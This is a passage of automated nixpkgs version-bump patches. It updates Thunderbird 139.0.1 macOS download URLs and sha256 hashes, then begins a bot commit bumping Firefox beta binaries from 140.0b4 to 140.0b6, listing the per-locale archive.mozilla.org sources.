-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/nb-NO/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/nb-NO/Thunderbird%20139.0.1.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "505e9dc656d9f96162a645aa974a02088a54e0b6bcf781ae8044f06b2b13846b";
+      sha256 = "0a20d8f1cdc5b53a49462d9a60ff1095dc3077fedca580ec62975d7ea1f27191";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/nl/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/nl/Thunderbird%20139.0.1.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "5edc8de68c6b73b271591d63bcaa262e6eddafbf1f79428c2008be62cb828746";
+      sha256 = "fdbf938747edf6a9ff4fe68dcfb46a47ebd5a07535b6e7998f1b2882e4e06610";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/nn-NO/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/nn-NO/Thunderbird%20139.0.1.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "d762da49e6de40ae246fd0c9aeb14e6c18a8f2009cb03a7d62e0c68293ee557b";
+      sha256 = "907ee34ee486792dd9470ed9fa22c9d31b2807022083afdf4ff7a8d1da582491";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pa-IN/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pa-IN/Thunderbird%20139.0.1.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "c40d709a65025e8c1e7b93aba2539bc4268a3b515c77558f3f4679d10a2b4978";
+      sha256 = "676bb0dc9147a8291f2e241ff66547af0647411a65c598b8c684d99b81b52bdd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pl/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pl/Thunderbird%20139.0.1.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "1efa46e12beb32ce1ae9be134d8410c517565f0957ef0473ea35b4ff40e91f1c";
+      sha256 = "4ce2ce69617132a353854e1dd71a2fb7b41998d712ab23c271e6971a97a641f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pt-BR/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pt-BR/Thunderbird%20139.0.1.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "f1edbbada6b14080637157b9da8ebe543ff7c4e5883b20e1133bdc49370e2158";
+      sha256 = "6bcff630896c3d0b2f117b7d4c65d3510c026843a03a02d01aa99a65ba31e4ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/pt-PT/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/pt-PT/Thunderbird%20139.0.1.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "76e77122f82675e7f78053e093a27bbabdf26ce0a2b27ce3ee3e5cb070e40fea";
+      sha256 = "5c2429cd1086d5c3cc2c833d4e595cb48a671f9c27b83a1892f17a3a2d83be75";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/rm/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/rm/Thunderbird%20139.0.1.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "54d034a454d0f7e5dbe7dc109557fb2bd7f05c89ce78fa8107cb1d48c5ffec2e";
+      sha256 = "74c7d0ab57f5f6bdddb6d4c7a662fcbd6f098db066d8e17ff34b4227bf2b95aa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ro/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ro/Thunderbird%20139.0.1.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "013a405d07602a23b8fb59a6c4989f857c9b6d7f7292403892ba4190d4553052";
+      sha256 = "f4c115aa934bb691707adaa5b54d9d04ca4d888cc65ad57494e3a83ecb881ea2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ru/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/ru/Thunderbird%20139.0.1.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "7ada75eeb7b97ca36eb5b8319145d748864e3faa694fd6b2818fb3fbcd7611d1";
+      sha256 = "6b16a3c1bd75be63e9312e13e245871cdabcedaa035484e5402cb091e1a4541e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sk/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sk/Thunderbird%20139.0.1.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "f73dc5c60187b9c02d821e588d2b28dd68954a271b904f54e579a379586d49f0";
+      sha256 = "01e29a4277ee5d947512c1815e7ac9c42714c37a72aeaf78f520e1364357dfba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sl/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sl/Thunderbird%20139.0.1.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "07dae9c56d5c3491669bb74a74a34cc779f8ccd1ab979fb750f3db272db54827";
+      sha256 = "9c9867f0298eae5ec55647ffb55a5f0b703da55a4d278ff16e7dac469ecfebfe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sq/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sq/Thunderbird%20139.0.1.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "3e3eb87df03083c30a5c8ff860692e15c5abaf32a2fda03beebe0880c5cc376d";
+      sha256 = "975780df8c7dc39306c3ff8ff983f0edbc7ae8c3b35f143dd906ea1b23cf2dc4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sr/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sr/Thunderbird%20139.0.1.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "08ec6cea78b0b6315b65dc10be9b927dd0b30b3a6d1735ffb5d7a36e97fe6f2d";
+      sha256 = "a17f18795ef6a77b400adae664bf83c26ee493218777d894ca9d7a89ec12e004";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/sv-SE/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/sv-SE/Thunderbird%20139.0.1.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "80e56cf996625935c2ef6db0f054990c48351cffee20ad6199e233801c9576b4";
+      sha256 = "396f9f5529778d61cdbd12e62dfb83aad0bdffc1d2ed031359bafff9c2b8d9ae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/th/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/th/Thunderbird%20139.0.1.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "b0ceeca000186b9c7cbbecc2c2f1124576484d4615cc20d4f1f6569f462910c0";
+      sha256 = "4601a2d1dea097a2a1a3b0778e6fbd42689d42cbbd1b4878cf82eb0ff95e3e30";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/tr/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/tr/Thunderbird%20139.0.1.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "ad483fb238a3b792f2a2c03ccda30acbb9d7cf3029560a47718691dcbd63c53c";
+      sha256 = "630162b811b7b117c224bb2c6ce5ed935dc64fc7a4245956e2e519128fc4108f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/uk/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/uk/Thunderbird%20139.0.1.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "27e6a7f9aa40678b8c0a7b87bb91ae7bc2856af265378e45b27298fd5d30ad58";
+      sha256 = "5958a9a9603d058368fcacce2d7bdbf073f00510affc34c4f6801356c003126e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/uz/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/uz/Thunderbird%20139.0.1.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "225420dc0b3cbbcc916579022496512ecf636318b47a8f137510871aab98d797";
+      sha256 = "9543b60fd66edbadacb4b72838db973a32b8d4d4947134cdf28132839710e094";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/vi/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/vi/Thunderbird%20139.0.1.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "eea1f05a500092beb82485d6de25222c3beb57201815b02896339db9d3080002";
+      sha256 = "eb14f672a69e26f458da42e576a761c3e14996e4c6d7be8fdcdb3c1d8b4d9ec2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/zh-CN/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/zh-CN/Thunderbird%20139.0.1.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "9009bbb641bdd72b4cc1baecf1a1806c9e252235d6bfdb7b7d05d6358008aba3";
+      sha256 = "7152adf5275d0ccb87eedd1f6286d6a365077430ef264ae647e5b680489e1b81";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/zh-TW/Thunderbird%20139.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/mac/zh-TW/Thunderbird%20139.0.1.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "89ec028df63ffd5f29d8965fd781ca2ac98ff6e58e2e677b4543fa6dad62e7fa";
+      sha256 = "09d1afe079886f3c162eda4abf76ae7b5bf286cc020a4450aa05bca9fc10022f";
     }
   ];
 }

From 2f40185aaa1fbec3995d5d71b1ad5e3e4ec3f98e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 7 Jun 2025 21:47:21 +0000
Subject: [PATCH 0732/4511] firefox-beta-bin-unwrapped: 140.0b4 -> 140.0b6

(cherry picked from commit b288556394311e7723ec49eff067a288baa7a8b6)
---
 .../browsers/firefox-bin/beta_sources.nix     | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
index 8f9940e790b2..98920f6ab23c 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0b4";
+  version = "140.0b6";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ach/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ach/firefox-140.0b6.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "79c4bae3ab2ecc83eaaaab31104e117ba66ad82abc4dfae2f5ec76dde47f51ad";
+      sha256 = "0cf9f3c0865a1dc3c327e78cfb2447f64d64a280121c78aeee4046d74116dce4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/af/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/af/firefox-140.0b6.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "699a969d7ab130bc9bda98abf1e5ff47b77dd6de0cbdb0c1201f465ba8cee7e7";
+      sha256 = "6a38e65b960d36ad164e71cbbd2c427ae28e68662f78182cafbccedbdaee86cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/an/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/an/firefox-140.0b6.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "68f2fd1f33a6fd473c53cf0e3574e780cfa9a28c298d2733813676d71650e6ac";
+      sha256 = "93a085d3bcbf1074c309aae8dd0418dbaaa030666c16f732ba21079854f3098b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ar/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ar/firefox-140.0b6.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "16d9b35f06fb47a74a778d64cf7abe219a3624ca4732287970ce9f109cfa688c";
+      sha256 = "b324f71e736da3d7dce96dcae18a19e3a1ed01b2075d68d4662a740c2011662f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ast/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ast/firefox-140.0b6.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "8063552de94d50d73b2adfe01eed122e50c399aeacf4944769e27ac51af5ca5c";
+      sha256 = "4c57ca12f04a176a29ce31ccbbbf4f5454b8af8e7fc14ddef6c09a7906156dbb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/az/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/az/firefox-140.0b6.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "f54d622ba71e419a329768ac346d4469cffcac4b8077d686902ab254b7d5ac1d";
+      sha256 = "78934de24158bcb311683170a5131da2b746322e761d5fbddeb321982764fde7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/be/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/be/firefox-140.0b6.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "827a6e56ff56d907d4bfe825322564c31b690058a18b835f73612384f388645d";
+      sha256 = "e01175f882c4771dc533a3129178c8382c42757e4873c092da36ae8ebde4110a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/bg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/bg/firefox-140.0b6.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "f4a9493a0ff3e35a9a0e73de70d7e5a681de1ef14e031320015cd0cd15d52145";
+      sha256 = "39b6654edc934d89c18e9d1e9b5a9af0ce0b320d872400c2e9acda873a9c103d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/bn/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/bn/firefox-140.0b6.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "0ec9de4c5276ef24b3d0531f4964cc01bb3d1c4d44530de59ead8a4ff804f42f";
+      sha256 = "f6afacf863c3d7ae32c15bf7fdb82fa6cab55a372628758d57dc603282ce0c35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/br/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/br/firefox-140.0b6.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "d6a1163df76100d1995929bcbce45aad6db99f600d29e93a7610662185ffdcb1";
+      sha256 = "aae4aa8ff7fd6680e5d2571379f439577950126a09eea6fe674f1bb500d4a6fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/bs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/bs/firefox-140.0b6.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "00eec200da5859ff0c4ea01c582c12dc3610b4216876bda9e08bbe41f3d7719a";
+      sha256 = "4adf72960e23017bb0bc17c009fec323ecccd343a2fce5978c1b27207051f8aa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ca-valencia/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ca-valencia/firefox-140.0b6.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "a73eeae5de570615e3de64949de40a6a149dbf0450170686342ef48fc330da48";
+      sha256 = "1f4f93108d0786912a5c18b65de23e206d1ed6456a2bcb98a4e481b21e397e09";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ca/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ca/firefox-140.0b6.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "532184e6c74f6de599e29360f5b2fcb7c68032fc48101296e13a4bed5e8500ac";
+      sha256 = "f0be5b5097befc19b90c81f042211c6d00f934d13a9cc1b243072f02075a7738";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/cak/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/cak/firefox-140.0b6.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "1fb82efc4e4f0b5e626c133bb17fa57ee54ff00916d306e66a96943d594b0da6";
+      sha256 = "5bf076d97c7b82cbf17bdee89a1d7c3cc79d91cfbde3a2b62238a0801778e107";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/cs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/cs/firefox-140.0b6.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "d12c2f7e5c102a83995aec62fe69db2c1f9895b9680cdb2df6bdbfc03d622631";
+      sha256 = "9d57075e5c848034041250eb54d074daf69e77b6bcd5d9ce6f69796af0739b3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/cy/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/cy/firefox-140.0b6.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "479ccceda72ad7f2e2d0056545878f43ecd72ff834b09b7ef7e342955eaf83c4";
+      sha256 = "86f5f9313a932943b0baa0ef256fe569732008e89a9a4a5c66adb8d310663d33";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/da/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/da/firefox-140.0b6.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "0ad71e504abe067cb52d68d88916be3393913c2f1978eb98dd48f94ab6daf4f9";
+      sha256 = "3775d07785b01441a592676a7546d689fb5ee0b378ba0204e7ac26e13eae5955";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/de/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/de/firefox-140.0b6.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "40ab7b73e1d433eeeae0c8b5fa5c032d14182bc526cbde7b4efc2e32c275a3b7";
+      sha256 = "8a33d39219373b134b8b489d096b09d5d60362ae67d302ac4c19297221a23720";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/dsb/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/dsb/firefox-140.0b6.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "cd782ee1d65b7fd5952e30c6c2c285215f7043f37b9ae3bb0aa51d6056b6a824";
+      sha256 = "9ef44a1dbb19631b3efbd09980bb7763a7d3d6c709c0dc1396f0d21a6dcfba59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/el/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/el/firefox-140.0b6.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "19736769c65ceff853bfe9c4fd6541c2e30e13166dffd707a1a96077da5bee1c";
+      sha256 = "1364dbebf6329bf9e74395835f3a50377a744945a952bf0019943f3af81963c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/en-CA/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/en-CA/firefox-140.0b6.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "8880c95c0d00a51cd65829ddf5eca2ae9bd0f6a7e995d1d532224c223beb4a70";
+      sha256 = "a9105aa0ef0560c406b7e99248ee72ec32fc1341a7853dfcbeaa19db6d33088e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/en-GB/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/en-GB/firefox-140.0b6.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "56c46be9058e82aaa046788499c0c6e96c48cbeb0a05a47b907772b2c73122a4";
+      sha256 = "b3f6af8344a975f7f6d421a55ba8d5093209b5b99bf2081192a15efd4d6977e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/en-US/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/en-US/firefox-140.0b6.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "40820674c78e05b1413458c2844e874c8521670780fdb4489e62379a42fba704";
+      sha256 = "ae3fc88078ea41f85a24ab6c4f865b476ceebef4c3a2117e02607c7afdc191a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/eo/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/eo/firefox-140.0b6.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "3d444671937f8438ad98b3bf2ee935233a8025c0bd7de8a916be3d1806168222";
+      sha256 = "8cc56cc9d1b5f00356e7c060e74902c3887dd05681192d49602eb637495706d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-AR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-AR/firefox-140.0b6.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "640d6480bc2680609dde51a76e512c8e9d1d8bcc93b75af239f254b824a0b330";
+      sha256 = "1f46f27b8ecf033c263d8a01cd3a5670796ce36c81ffe59c9654edf70c2efea1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-CL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-CL/firefox-140.0b6.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "7a430e844e216eba749d2e65cdd5f698ea5e450e018e1a217b993c97c375ebbf";
+      sha256 = "6476b0ba91fb25eb196cd49afd41801bfe8ec4985200b66d09cc1d430ed7b26a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-ES/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-ES/firefox-140.0b6.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "1905f4a96c7de86f9b024d41ba07758e478f55c43d16bbb817c9b8e36b544e97";
+      sha256 = "884cfa9e904ae82ad83f671f0a659e9b32471d25df13dbe666a68d526172c4ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/es-MX/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/es-MX/firefox-140.0b6.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "d7eb82b97a007de775afc9055e33b7b8dbf51947567fe3b1a6e37e2b8765c4a2";
+      sha256 = "586e2f31126ab58c7c9ff9935e95a4f009274119f08d196c59de21907c0f0b79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/et/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/et/firefox-140.0b6.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "aa3921d10df3e89d33375ae23b32a668e78c22c30fff3e546957d75c815d1ba1";
+      sha256 = "044a218da86f3aa042834b6b4dd72f0ebfbbdafb54bc822b1f265280bbb7ae9d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/eu/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/eu/firefox-140.0b6.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "b678e517a072e9aa3a585acb027a59b3f18d0e4e132ce03cba26c8d5598ca04d";
+      sha256 = "7dcaf2b10df00a0d594279b1e05e346a1f7a1551b5b479f6691d95de93403158";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fa/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fa/firefox-140.0b6.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "e23cedbe5d62203347749feaf3ad189b19593be7d328519296d727c142b07774";
+      sha256 = "6098121dd11f772b24d157cb0aa1eff7acc914bfe05586672350454598c09622";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ff/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ff/firefox-140.0b6.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "a2867f278763c04b7d1bc50bdd4dd5ea49be62bba9986740b680cddf6f2b458b";
+      sha256 = "81d1eea86c5299adbb8c5d6076a5f7f910ef10b0620ec8aabb9551e8ff100a93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fi/firefox-140.0b6.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "a9758c8d99ea549fb056bfba4f74d70824105bb5f999343347d661f4ccd53283";
+      sha256 = "017ed1a20f955537b8641828cc168c75a1ca912a44155d035c8adc17c0723581";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fr/firefox-140.0b6.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "12616ac5602bfcce857eccdd7ac50a98bac7bc9d5c6510ac49ab4627d6c762ac";
+      sha256 = "816b97fb48194cf5f738a05d204434c43a3619ece174825cc1d0b012d53845cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fur/firefox-140.0b6.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "a6b9aaa2fa7f8c25efcf338bef0bb98d57535c9ba7d0c99775b2b6cd0c44f15d";
+      sha256 = "c3b8c021459f70b7a56d47d4b6d159bce7c2e5e02d6eb01025a08f7c377310b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/fy-NL/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/fy-NL/firefox-140.0b6.tar.xz";
